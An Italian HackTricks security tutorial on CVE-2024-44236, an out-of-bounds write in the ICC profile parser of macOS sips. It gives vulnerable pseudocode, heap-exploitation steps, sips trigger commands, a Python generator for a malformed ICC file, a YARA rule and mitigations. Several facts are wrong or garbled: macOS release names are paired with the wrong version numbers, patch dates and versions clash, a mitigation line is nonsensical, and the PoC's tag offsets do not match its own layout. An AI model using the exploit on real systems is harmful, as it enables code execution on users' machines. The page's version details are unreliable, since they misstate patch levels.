WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

Una vulnerabilità di zero-write fuori dai limiti nel parser del profilo ICC del Scriptable Image Processing System (sips) di Apple macOS (macOS 15.0.1, sips-307) consente a un attaccante di corrompere i metadati dell'heap e di pivotare il primitivo in un'esecuzione di codice completa. Il bug si trova nella gestione del campo offsetToCLUT dei tag lutAToBType (mAB ) e lutBToAType (mBA ). Se gli attaccanti impostano offsetToCLUT == tagDataSize, il parser cancella 16 byte oltre la fine del buffer dell'heap. Il heap spraying consente all'attaccante di azzerare le strutture dell'allocatore o i puntatori C++ che verranno successivamente dereferenziati, producendo una catena di arbitrary-write-to-exec (CVE-2024-44236, CVSS 7.8).

Apple ha corretto il bug in macOS Sonoma 15.2 / Ventura 14.7.1 (30 ottobre 2024). Una seconda variante (CVE-2025-24185) è stata risolta in macOS 15.5 e iOS/iPadOS 18.5 il 1 aprile 2025.

Codice Vulnerabile

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Passi di Sfruttamento

  1. Crea un profilo .icc malevolo
  • Imposta un'intestazione ICC minima (acsp) e aggiungi un tag mAB (o mBA ).
  • Configura la tabella dei tag in modo che offsetToCLUT sia uguale alla dimensione del tag (tagDataSize).
  • Posiziona i dati controllati dall'attaccante subito dopo il tag in modo che i 16 scritture zero sovrappongano i metadati dell'allocatore.
  1. Attiva l'analisi con qualsiasi operazione sips che tocchi il profilo
bash
# percorso di verifica (nessun file di output necessario)
sips --verifyColor evil.icc
# o implicitamente durante la conversione di immagini che incorporano il profilo
sips -s format png payload.jpg --out out.png
  1. Corruzione dei metadati dell'heap ➜ scrittura arbitraria ➜ ROP Sull'allocatore nano_zone predefinito di Apple, i metadati per slot da 16 byte si trovano immediatamente dopo il blocco allineato 0x1000. Posizionando il tag del profilo alla fine di un tale blocco, le 16 scritture zero sovrascrivono meta->slot_B. Dopo un successivo free, il puntatore avvelenato viene inserito nella lista di piccole allocazioni libere, consentendo all'attaccante di allocare un oggetto falso a un indirizzo arbitrario e sovrascrivere un puntatore vtable C++ utilizzato da sips, infine deviando l'esecuzione verso una catena ROP memorizzata nel buffer ICC malevolo.

Generatore PoC rapido (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

Regola di rilevamento YARA

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Impatto

L'apertura o l'elaborazione di un profilo ICC creato ad hoc porta all'esecuzione arbitraria di codice remoto nel contesto dell'utente che lo invoca (Preview, QuickLook, rendering di immagini Safari, allegati di Mail, ecc.), eludendo Gatekeeper poiché il profilo può essere incorporato all'interno di immagini altrimenti innocue (PNG/JPEG/TIFF).

Rilevamento e Mitigazione

  • Patch! Assicurati che l'host stia eseguendo macOS ≥ 15.2 / 14.7.1 (o iOS/iPadOS ≥ 18.1).
  • Distribuisci la regola YARA sopra sui gateway email e sulle soluzioni EDR.
  • Rimuovi o sanifica i profili ICC incorporati con exiftool -icc_profile= -overwrite_original <file> prima di ulteriori elaborazioni su file non fidati.
  • Indurire Preview/QuickLook eseguendoli all'interno di VM "sandboxed" di “trasparenza e modernizzazione” quando si analizzano contenuti sconosciuti.
  • Per DFIR, cerca l'esecuzione recente di sips --verifyColor o caricamenti della libreria ColorSync da parte di app sandboxed nel log unificato.

Riferimenti

  • Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Aggiornamenti di sicurezza Apple HT213981 “Informazioni sul contenuto di sicurezza di macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks